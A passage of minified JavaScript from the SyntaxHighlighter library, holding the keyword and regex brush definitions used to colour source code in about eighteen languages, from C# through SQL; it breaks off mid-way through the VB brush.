descending"),"gm"),css:"keyword"},{regex:/\bpartial(?=\s+(?:class|interface|struct)\b)/g,css:"keyword"},{regex:/\byield(?=\s+(?:return|break)\b)/g,css:"keyword"}],this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags)}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["c#","c-sharp","csharp"],SyntaxHighlighter.brushes.CSharp=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:SyntaxHighlighter.regexLib.multiLineCComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.doubleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:/\#[a-fA-F0-9]{3,6}/g,css:"value"},{regex:/(-?\d+)(\.\d+)?(px|em|pt|\:|\%|)/g,css:"value"},{regex:/!important/g,css:"color3"},{regex:new RegExp("\\b([a-z_]|)"+"ascent azimuth background-attachment background-color background-image background-position background-repeat background baseline bbox border-collapse border-color border-spacing border-style border-top border-right border-bottom border-left border-top-color border-right-color border-bottom-color border-left-color border-top-style border-right-style border-bottom-style border-left-style border-top-width border-right-width border-bottom-width border-left-width border-width border bottom cap-height caption-side centerline clear clip color content counter-increment counter-reset cue-after cue-before cue cursor definition-src descent direction display elevation empty-cells float font-size-adjust font-family font-size font-stretch font-style font-variant font-weight font height left letter-spacing line-height list-style-image list-style-position list-style-type list-style margin-top margin-right margin-bottom margin-left margin marker-offset marks mathline max-height max-width min-height min-width orphans outline-color outline-style outline-width outline overflow padding-top padding-right padding-bottom padding-left padding page page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position quotes right richness size slope src speak-header speak-numeral speak-punctuation speak speech-rate stemh stemv stress table-layout text-align top text-decoration text-indent text-shadow text-transform unicode-bidi unicode-range units-per-em vertical-align visibility voice-family volume white-space widows width widths word-spacing x-height z-index".replace(/ /g,"(?=:)\\b|\\b([a-z_\\*]|\\*|)")+"(?=:)\\b","gm"),css:"keyword"},{regex:new RegExp("\\b"+"above absolute all always aqua armenian attr aural auto avoid baseline behind below bidi-override black blink block blue bold bolder both bottom braille capitalize caption center center-left center-right circle close-quote code collapse compact condensed continuous counter counters crop cross crosshair cursive dashed decimal decimal-leading-zero default digits disc dotted double embed embossed e-resize expanded extra-condensed extra-expanded fantasy far-left far-right fast faster fixed format fuchsia gray green groove handheld hebrew help hidden hide high higher icon inline-table inline inset inside invert italic justify landscape large larger left-side left leftwards level lighter lime line-through list-item local loud lower-alpha lowercase lower-greek lower-latin lower-roman lower low ltr marker maroon medium message-box middle mix move narrower navy ne-resize no-close-quote none no-open-quote no-repeat normal nowrap n-resize nw-resize oblique olive once open-quote outset outside overline pointer portrait pre print projection purple red relative repeat repeat-x repeat-y rgb ridge right right-side rightwards rtl run-in screen scroll semi-condensed semi-expanded separate se-resize show silent silver slower slow small small-caps small-caption smaller soft solid speech spell-out square s-resize static status-bar sub super sw-resize table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group teal text-bottom text-top thick thin top transparent tty tv ultra-condensed ultra-expanded underline upper-alpha uppercase upper-latin upper-roman url visible wait white wider w-resize x-fast x-high x-large x-loud x-low x-slow x-small x-soft xx-large xx-small yellow".replace(/ /g,"(?!-)(?!:)\\b|\\b()")+":\\b","g"),css:"value"},{regex:new RegExp(this.getKeywords("[mM]onospace [tT]ahoma [vV]erdana [aA]rial [hH]elvetica [sS]ans-serif [sS]erif [cC]ourier mono sans serif"),"g"),css:"color1"}],this.forHtmlScript({left:/(<|<)\s*style.*?(>|>)/gi,right:/(<|<)\/\s*style\s*(>|>)/gi})}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["css"],SyntaxHighlighter.brushes.CSS=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:/\(\*[\s\S]*?\*\)/gm,css:"comments"},{regex:/{(?!\$)[\s\S]*?}/gm,css:"comments"},{regex:SyntaxHighlighter.regexLib.singleLineCComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:/\{\$[a-zA-Z]+ .+\}/g,css:"color1"},{regex:/\b[\d\.]+\b/g,css:"value"},{regex:/\$[a-zA-Z0-9]+\b/g,css:"value"},{regex:new RegExp(this.getKeywords("abs addr and ansichar ansistring array as asm begin boolean byte cardinal case char class comp const constructor currency destructor div do double downto else end except exports extended false file finalization finally for function goto if implementation in inherited int64 initialization integer interface is label library longint longword mod nil not object of on or packed pansichar pansistring pchar pcurrency pdatetime pextended pint64 pointer private procedure program property pshortstring pstring pvariant pwidechar pwidestring protected public published raise real real48 record repeat set shl shortint shortstring shr single smallint string then threadvar to true try type unit until uses val var varirnt while widechar widestring with word write writeln xor"),"gmi"),css:"keyword"}]}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["delphi","pascal","pas"],SyntaxHighlighter.brushes.Delphi=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:/^\+\+\+ .*$/gm,css:"color2"},{regex:/^\-\-\- .*$/gm,css:"color2"},{regex:/^\s.*$/gm,css:"color1"},{regex:/^@@.*@@.*$/gm,css:"variable"},{regex:/^\+.*$/gm,css:"string"},{regex:/^\-.*$/gm,css:"color3"}]}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["diff","patch"],SyntaxHighlighter.brushes.Diff=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:new RegExp("[A-Z][A-Za-z0-9_]+","g"),css:"constants"},{regex:new RegExp("\\%.+","gm"),css:"comments"},{regex:new RegExp("\\?[A-Za-z0-9_]+","g"),css:"preprocessor"},{regex:new RegExp("[a-z0-9_]+:[a-z0-9_]+","g"),css:"functions"},{regex:SyntaxHighlighter.regexLib.doubleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:new RegExp(this.getKeywords("after and andalso band begin bnot bor bsl bsr bxor case catch cond div end fun if let not of or orelse query receive rem try when xor module export import define"),"gm"),css:"keyword"}]}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["erl","erlang"],SyntaxHighlighter.brushes.Erland=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:SyntaxHighlighter.regexLib.singleLineCComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.multiLineCComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.doubleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:/""".*"""/g,css:"string"},{regex:new RegExp("\\b([\\d]+(\\.[\\d]+)?|0x[a-f0-9]+)\\b","gi"),css:"value"},{regex:new RegExp(this.getKeywords("as assert break case catch class continue def default do else extends finally if in implements import instanceof interface new package property return switch throw throws try while public protected private static"),"gm"),css:"keyword"},{regex:new RegExp(this.getKeywords("void boolean byte char short int long float double"),"gm"),css:"color1"},{regex:new RegExp(this.getKeywords("null"),"gm"),css:"constants"},{regex:new RegExp(this.getKeywords("allProperties count get size collect each eachProperty eachPropertyName eachWithIndex find findAll findIndexOf grep inject max min reverseEach sort asImmutable asSynchronized flatten intersect join pop reverse subMap toList padRight padLeft contains eachMatch toCharacter toLong toUrl tokenize eachFile eachFileRecurse eachB yte eachLine readBytes readLine getText splitEachLine withReader append encodeBase64 decodeBase64 filterLine transformChar transformLine withOutputStream withPrintWriter withStream withStreams withWriter withWriterAppend write writeLine dump inspect invokeMethod print println step times upto use waitForOrKill getText"),"gm"),css:"functions"}],this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags)}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["groovy"],SyntaxHighlighter.brushes.Groovy=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:SyntaxHighlighter.regexLib.singleLineCComments,css:"comments"},{regex:/\/\*([^\*][\s\S]*)?\*\//gm,css:"comments"},{regex:/\/\*(?!\*\/)\*[\s\S]*?\*\//gm,css:"preprocessor"},{regex:SyntaxHighlighter.regexLib.doubleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:/\b([\d]+(\.[\d]+)?|0x[a-f0-9]+)\b/gi,css:"value"},{regex:/(?!\@interface\b)\@[\$\w]+\b/g,css:"color1"},{regex:/\@interface\b/g,css:"color2"},{regex:new RegExp(this.getKeywords("abstract assert boolean break byte case catch char class const continue default do double else enum extends false final finally float for goto if implements import instanceof int interface long native new null package private protected public return short static strictfp super switch synchronized this throw throws true transient try void volatile while"),"gm"),css:"keyword"}],this.forHtmlScript({left:/(<|<)%[@!=]?/g,right:/%(>|>)/g})}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["java"],SyntaxHighlighter.brushes.Java=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:SyntaxHighlighter.regexLib.singleLineCComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.multiLineCComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.doubleQuotedString,css:"string"},{regex:/(-?\.?)(\b(\d*\.?\d+|\d+\.?\d*)(e[+-]?\d+)?|0x[a-f\d]+)\b\.?/gi,css:"color2"},{regex:new RegExp(this.getKeywords("Boolean Byte Character Double Duration Float Integer Long Number Short String Void"),"gm"),css:"variable"},{regex:new RegExp(this.getKeywords("abstract after and as assert at before bind bound break catch class continue def delete else exclusive extends false finally first for from function if import in indexof init insert instanceof into inverse last lazy mixin mod nativearray new not null on or override package postinit protected public public-init public-read replace return reverse sizeof step super then this throw true try tween typeof var where while with attribute let private readonly static trigger"),"gm"),css:"keyword"}],this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags)}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["jfx","javafx"],SyntaxHighlighter.brushes.JavaFX=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){var e=SyntaxHighlighter.regexLib;this.regexList=[{regex:e.multiLineDoubleQuotedString,css:"string"},{regex:e.multiLineSingleQuotedString,css:"string"},{regex:e.singleLineCComments,css:"comments"},{regex:e.multiLineCComments,css:"comments"},{regex:/\s*#.*/gm,css:"preprocessor"},{regex:new RegExp(this.getKeywords("break case catch continue default delete do else false for function if in instanceof new null return super switch this throw true try typeof var while with"),"gm"),css:"keyword"}],this.forHtmlScript(e.scriptScriptTags)}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["js","jscript","javascript"],SyntaxHighlighter.brushes.JScript=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:/(<<|<<)((\w+)|(['"])(.+?)\4)[\s\S]+?\n\3\5\n/g,css:"string"},{regex:/#.*$/gm,css:"comments"},{regex:/^#!.*\n/g,css:"preprocessor"},{regex:/-?\w+(?=\s*=(>|>))/g,css:"string"},{regex:/\bq[qwxr]?\([\s\S]*?\)/g,css:"string"},{regex:/\bq[qwxr]?\{[\s\S]*?\}/g,css:"string"},{regex:/\bq[qwxr]?\[[\s\S]*?\]/g,css:"string"},{regex:/\bq[qwxr]?(<|<)[\s\S]*?(>|>)/g,css:"string"},{regex:/\bq[qwxr]?([^\w({<[])[\s\S]*?\1/g,css:"string"},{regex:SyntaxHighlighter.regexLib.doubleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:/(?:&|[$@%*]|\$#)[a-zA-Z_](\w+|::)*/g,css:"variable"},{regex:/\b__(?:END|DATA)__\b[\s\S]*$/g,css:"comments"},{regex:/(^|\n)=\w[\s\S]*?(\n=cut\s*\n|$)/g,css:"comments"},{regex:new RegExp(this.getKeywords("abs accept alarm atan2 bind binmode chdir chmod chomp chop chown chr chroot close closedir connect cos crypt defined delete each endgrent endhostent endnetent endprotoent endpwent endservent eof exec exists exp fcntl fileno flock fork format formline getc getgrent getgrgid getgrnam gethostbyaddr gethostbyname gethostent getlogin getnetbyaddr getnetbyname getnetent getpeername getpgrp getppid getpriority getprotobyname getprotobynumber getprotoent getpwent getpwnam getpwuid getservbyname getservbyport getservent getsockname getsockopt glob gmtime grep hex index int ioctl join keys kill lc lcfirst length link listen localtime lock log lstat map mkdir msgctl msgget msgrcv msgsnd oct open opendir ord pack pipe pop pos print printf prototype push quotemeta rand read readdir readline readlink readpipe recv rename reset reverse rewinddir rindex rmdir scalar seek seekdir select semctl semget semop send setgrent sethostent setnetent setpgrp setpriority setprotoent setpwent setservent setsockopt shift shmctl shmget shmread shmwrite shutdown sin sleep socket socketpair sort splice split sprintf sqrt srand stat study substr symlink syscall sysopen sysread sysseek system syswrite tell telldir time times tr truncate uc ucfirst umask undef unlink unpack unshift utime values vec wait waitpid warn write say"),"gm"),css:"functions"},{regex:new RegExp(this.getKeywords("bless caller continue dbmclose dbmopen die do dump else elsif eval exit for foreach goto if import last local my next no our package redo ref require return sub tie tied unless untie until use wantarray while given when default try catch finally has extends with before after around override augment"),"gm"),css:"keyword"}],this.forHtmlScript(SyntaxHighlighter.regexLib.phpScriptTags)}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["perl","Perl","pl"],SyntaxHighlighter.brushes.Perl=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:SyntaxHighlighter.regexLib.singleLineCComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.multiLineCComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.doubleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:/\$\w+/g,css:"variable"},{regex:new RegExp(this.getKeywords("abs acos acosh addcslashes addslashes array_change_key_case array_chunk array_combine array_count_values array_diff array_diff_assoc array_diff_key array_diff_uassoc array_diff_ukey array_fill array_filter array_flip array_intersect array_intersect_assoc array_intersect_key array_intersect_uassoc array_intersect_ukey array_key_exists array_keys array_map array_merge array_merge_recursive array_multisort array_pad array_pop array_product array_push array_rand array_reduce array_reverse array_search array_shift array_slice array_splice array_sum array_udiff array_udiff_assoc array_udiff_uassoc array_uintersect array_uintersect_assoc array_uintersect_uassoc array_unique array_unshift array_values array_walk array_walk_recursive atan atan2 atanh base64_decode base64_encode base_convert basename bcadd bccomp bcdiv bcmod bcmul bindec bindtextdomain bzclose bzcompress bzdecompress bzerrno bzerror bzerrstr bzflush bzopen bzread bzwrite ceil chdir checkdate checkdnsrr chgrp chmod chop chown chr chroot chunk_split class_exists closedir closelog copy cos cosh count count_chars date decbin dechex decoct deg2rad delete ebcdic2ascii echo empty end ereg ereg_replace eregi eregi_replace error_log error_reporting escapeshellarg escapeshellcmd eval exec exit exp explode extension_loaded feof fflush fgetc fgetcsv fgets fgetss file_exists file_get_contents file_put_contents fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype floatval flock floor flush fmod fnmatch fopen fpassthru fprintf fputcsv fputs fread fscanf fseek fsockopen fstat ftell ftok getallheaders getcwd getdate getenv gethostbyaddr gethostbyname gethostbynamel getimagesize getlastmod getmxrr getmygid getmyinode getmypid getmyuid getopt getprotobyname getprotobynumber getrandmax getrusage getservbyname getservbyport gettext gettimeofday gettype glob gmdate gmmktime ini_alter ini_get ini_get_all ini_restore ini_set interface_exists intval ip2long is_a is_array is_bool is_callable is_dir is_double is_executable is_file is_finite is_float is_infinite is_int is_integer is_link is_long is_nan is_null is_numeric is_object is_readable is_real is_resource is_scalar is_soap_fault is_string is_subclass_of is_uploaded_file is_writable is_writeable mkdir mktime nl2br parse_ini_file parse_str parse_url passthru pathinfo print readlink realpath rewind rewinddir rmdir round str_ireplace str_pad str_repeat str_replace str_rot13 str_shuffle str_split str_word_count strcasecmp strchr strcmp strcoll strcspn strftime strip_tags stripcslashes stripos stripslashes stristr strlen strnatcasecmp strnatcmp strncasecmp strncmp strpbrk strpos strptime strrchr strrev strripos strrpos strspn strstr strtok strtolower strtotime strtoupper strtr strval substr substr_compare"),"gmi"),css:"functions"},{regex:new RegExp(this.getKeywords("__FILE__ __LINE__ __METHOD__ __FUNCTION__ __CLASS__"),"gmi"),css:"constants"},{regex:new RegExp(this.getKeywords("abstract and array as break case catch cfunction class clone const continue declare default die do else elseif enddeclare endfor endforeach endif endswitch endwhile extends final for foreach function global goto if implements include include_once interface instanceof insteadof namespace new old_function or private protected public return require require_once static switch trait throw try use var while xor "),"gm"),css:"keyword"}],this.forHtmlScript(SyntaxHighlighter.regexLib.phpScriptTags)}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["php"],SyntaxHighlighter.brushes.Php=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["text","plain"],SyntaxHighlighter.brushes.Plain=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){var e=" and as band bnot bor bxor casesensitive ccontains ceq cge cgt cle clike clt cmatch cne cnotcontains cnotlike cnotmatch contains creplace eq exact f file ge gt icontains ieq ige igt ile ilike ilt imatch ine inotcontains inotlike inotmatch ireplace is isnot le like lt match ne not notcontains notlike notmatch or regex replace wildcard";this.regexList=[{regex:new RegExp("^\\s*#[#\\s]*\\.("+this.getKeywords(" component description example externalhelp forwardhelpcategory forwardhelptargetname forwardhelptargetname functionality inputs link notes outputs parameter remotehelprunspace role synopsis")+").*$","gim"),css:"preprocessor help bold"},{regex:SyntaxHighlighter.regexLib.singleLinePerlComments,css:"comments"},{regex:/(<|<)#[\s\S]*?#(>|>)/gm,css:"comments here"},{regex:new RegExp('@"\\n[\\s\\S]*?\\n"@',"gm"),css:"script string here"},{regex:new RegExp("@'\\n[\\s\\S]*?\\n'@","gm"),css:"script string single here"},{regex:new RegExp('"(?:\\$\\([^\\)]*\\)|[^"]|`"|"")*[^`]"',"g"),css:"string"},{regex:new RegExp("'(?:[^']|'')*'","g"),css:"string single"},{regex:new RegExp("[\\$|@|@@](?:(?:global|script|private|env):)?[A-Z0-9_]+","gi"),css:"variable"},{regex:new RegExp("(?:\\b"+"write where wait use update unregister undo trace test tee take suspend stop start split sort skip show set send select scroll resume restore restart resolve resize reset rename remove register receive read push pop ping out new move measure limit join invoke import group get format foreach export expand exit enter enable disconnect disable debug cxnew copy convertto convertfrom convert connect complete compare clear checkpoint aggregate add".replace(/ /g,"\\b|\\b")+")-[a-zA-Z_][a-zA-Z0-9_]*","gmi"),css:"functions"},{regex:new RegExp(this.getKeywords("while validateset validaterange validatepattern validatelength validatecount until trap switch return ref process param parameter in if global: function foreach for finally filter end elseif else dynamicparam do default continue cmdletbinding break begin alias \\? % #script #private #local #global mandatory parametersetname position valuefrompipeline valuefrompipelinebypropertyname valuefromremainingarguments helpmessage "),"gmi"),css:"keyword"},{regex:new RegExp("-"+this.getKeywords(e),"gmi"),css:"operator value"},{regex:new RegExp("\\[[A-Z_\\[][A-Z0-9_. `,\\[\\]]*\\]","gi"),css:"constants"},{regex:new RegExp("\\s+-(?!"+this.getKeywords(e)+")[a-zA-Z_][a-zA-Z0-9_]*","gmi"),css:"color1"}]}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["powershell","ps","posh"],SyntaxHighlighter.brushes.PowerShell=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:SyntaxHighlighter.regexLib.singleLinePerlComments,css:"comments"},{regex:/^\s*@\w+/gm,css:"decorator"},{regex:/(['\"]{3})([^\1])*?\1/gm,css:"comments"},{regex:/"(?!")(?:\.|\\\"|[^\""\n])*"/gm,css:"string"},{regex:/'(?!')(?:\.|(\\\')|[^\''\n])*'/gm,css:"string"},{regex:/\+|\-|\*|\/|\%|=|==/gm,css:"keyword"},{regex:/\b\d+\.?\w*/g,css:"value"},{regex:new RegExp(this.getKeywords("__import__ abs all any apply basestring bin bool buffer callable chr classmethod cmp coerce compile complex delattr dict dir divmod enumerate eval execfile file filter float format frozenset getattr globals hasattr hash help hex id input int intern isinstance issubclass iter len list locals long map max min next object oct open ord pow print property range raw_input reduce reload repr reversed round set setattr slice sorted staticmethod str sum super tuple type type unichr unicode vars xrange zip"),"gmi"),css:"functions"},{regex:new RegExp(this.getKeywords("and assert break class continue def del elif else except exec finally for from global if import in is lambda not or pass print raise return try yield while"),"gm"),css:"keyword"},{regex:new RegExp(this.getKeywords("None True False self cls class_"),"gm"),css:"color1"}],this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags)}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["py","python"],SyntaxHighlighter.brushes.Python=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:SyntaxHighlighter.regexLib.singleLinePerlComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.doubleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:/\b[A-Z0-9_]+\b/g,css:"constants"},{regex:/:[a-z][A-Za-z0-9_]*/g,css:"color2"},{regex:/(\$|@@|@)\w+/g,css:"variable bold"},{regex:new RegExp(this.getKeywords("alias and BEGIN begin break case class def define_method defined do each else elsif END end ensure false for if in module new next nil not or raise redo rescue retry return self super then throw true undef unless until when while yield"),"gm"),css:"keyword"},{regex:new RegExp(this.getKeywords("Array Bignum Binding Class Continuation Dir Exception FalseClass File::Stat File Fixnum Fload Hash Integer IO MatchData Method Module NilClass Numeric Object Proc Range Regexp String Struct::TMS Symbol ThreadGroup Thread Time TrueClass"),"gm"),css:"color1"}],this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags)}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["ruby","rails","ror","rb"],SyntaxHighlighter.brushes.Ruby=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){var e=SyntaxHighlighter.regexLib;this.regexList=[{regex:e.multiLineCComments,css:"comments"},{regex:e.singleLineCComments,css:"comments"},{regex:e.doubleQuotedString,css:"string"},{regex:e.singleQuotedString,css:"string"},{regex:/\#[a-fA-F0-9]{3,6}/g,css:"value"},{regex:/\b(-?\d+)(\.\d+)?(px|em|pt|\:|\%|)\b/g,css:"value"},{regex:/\$\w+/g,css:"variable"},{regex:new RegExp(this.getKeywords("!important !default"),"g"),css:"color3"},{regex:new RegExp(this.getKeywords("@import @extend @debug @warn @if @for @while @mixin @include"),"g"),css:"preprocessor"},{regex:new RegExp("\\b([a-z_]|)"+"ascent azimuth background-attachment background-color background-image background-position background-repeat background baseline bbox border-collapse border-color border-spacing border-style border-top border-right border-bottom border-left border-top-color border-right-color border-bottom-color border-left-color border-top-style border-right-style border-bottom-style border-left-style border-top-width border-right-width border-bottom-width border-left-width border-width border bottom cap-height caption-side centerline clear clip color content counter-increment counter-reset cue-after cue-before cue cursor definition-src descent direction display elevation empty-cells float font-size-adjust font-family font-size font-stretch font-style font-variant font-weight font height left letter-spacing line-height list-style-image list-style-position list-style-type list-style margin-top margin-right margin-bottom margin-left margin marker-offset marks mathline max-height max-width min-height min-width orphans outline-color outline-style outline-width outline overflow padding-top padding-right padding-bottom padding-left padding page page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position quotes right richness size slope src speak-header speak-numeral speak-punctuation speak speech-rate stemh stemv stress table-layout text-align top text-decoration text-indent text-shadow text-transform unicode-bidi unicode-range units-per-em vertical-align visibility voice-family volume white-space widows width widths word-spacing x-height z-index".replace(/ /g,"(?=:)\\b|\\b([a-z_\\*]|\\*|)")+"(?=:)\\b","gm"),css:"keyword"},{regex:new RegExp("\\b"+"above absolute all always aqua armenian attr aural auto avoid baseline behind below bidi-override black blink block blue bold bolder both bottom braille capitalize caption center center-left center-right circle close-quote code collapse compact condensed continuous counter counters crop cross crosshair cursive dashed decimal decimal-leading-zero digits disc dotted double embed embossed e-resize expanded extra-condensed extra-expanded fantasy far-left far-right fast faster fixed format fuchsia gray green groove handheld hebrew help hidden hide high higher icon inline-table inline inset inside invert italic justify landscape large larger left-side left leftwards level lighter lime line-through list-item local loud lower-alpha lowercase lower-greek lower-latin lower-roman lower low ltr marker maroon medium message-box middle mix move narrower navy ne-resize no-close-quote none no-open-quote no-repeat normal nowrap n-resize nw-resize oblique olive once open-quote outset outside overline pointer portrait pre print projection purple red relative repeat repeat-x repeat-y rgb ridge right right-side rightwards rtl run-in screen scroll semi-condensed semi-expanded separate se-resize show silent silver slower slow small small-caps small-caption smaller soft solid speech spell-out square s-resize static status-bar sub super sw-resize table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group teal text-bottom text-top thick thin top transparent tty tv ultra-condensed ultra-expanded underline upper-alpha uppercase upper-latin upper-roman url visible wait white wider w-resize x-fast x-high x-large x-loud x-low x-slow x-small x-soft xx-large xx-small yellow".replace(/ /g,"(?!-)(?!:)\\b|\\b()")+":\\b","g"),css:"value"},{regex:new RegExp(this.getKeywords("[mM]onospace [tT]ahoma [vV]erdana [aA]rial [hH]elvetica [sS]ans-serif [sS]erif [cC]ourier mono sans serif"),"g"),css:"color1"}]}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["sass","scss"],SyntaxHighlighter.brushes.Sass=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:SyntaxHighlighter.regexLib.singleLineCComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.multiLineCComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.multiLineSingleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.multiLineDoubleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:/0x[a-f0-9]+|\d+(\.\d+)?/gi,css:"value"},{regex:new RegExp(this.getKeywords("val sealed case def true trait implicit forSome import match object null finally super override try lazy for var catch throw type extends class while with new final yield abstract else do if return protected private this package false"),"gm"),css:"keyword"},{regex:new RegExp("[_:=><%#@]+","gm"),css:"keyword"}]}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["scala"],SyntaxHighlighter.brushes.Scala=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:/--(.*)$/gm,css:"comments"},{regex:SyntaxHighlighter.regexLib.multiLineDoubleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.multiLineSingleQuotedString,css:"string"},{regex:new RegExp(this.getKeywords("abs avg case cast coalesce convert count current_timestamp current_user day isnull left lower month nullif replace right session_user space substring sum system_user upper user year"),"gmi"),css:"color2"},{regex:new RegExp(this.getKeywords("all and any between cross in join like not null or outer some"),"gmi"),css:"color1"},{regex:new RegExp(this.getKeywords("absolute action add after alter as asc at authorization begin bigint binary bit by cascade char character check checkpoint close collate column commit committed connect connection constraint contains continue create cube current current_date current_time cursor database date deallocate dec decimal declare default delete desc distinct double drop dynamic else end end-exec escape except exec execute false fetch first float for force foreign forward free from full function global goto grant group grouping having hour ignore index inner insensitive insert instead int integer intersect into is isolation key last level load local max min minute modify move name national nchar next no numeric of off on only open option order out output partial password precision prepare primary prior privileges procedure public read real references relative repeatable restrict return returns revoke rollback rollup rows rule schema scroll second section select sequence serializable set size smallint static statistics table temp temporary then time timestamp to top transaction translation trigger true truncate uncommitted union unique update values varchar varying view when where with work"),"gmi"),css:"keyword"}]}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["sql"],SyntaxHighlighter.brushes.Sql=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:/'.*$/gm,css:"comments"},{regex:SyntaxHighlighter.regexLib.doubleQuotedString,css:"string"},{regex:/^\s*#.*$/gm,css:"preprocessor"},{regex:new RegExp(this.getKeywords("AddHandler AddressOf AndAlso Alias And Ansi As Assembly Auto Boolean ByRef Byte ByVal Call Case Catch CBool CByte CChar CDate CDec CDbl Char CInt Class CLng CObj Const CShort 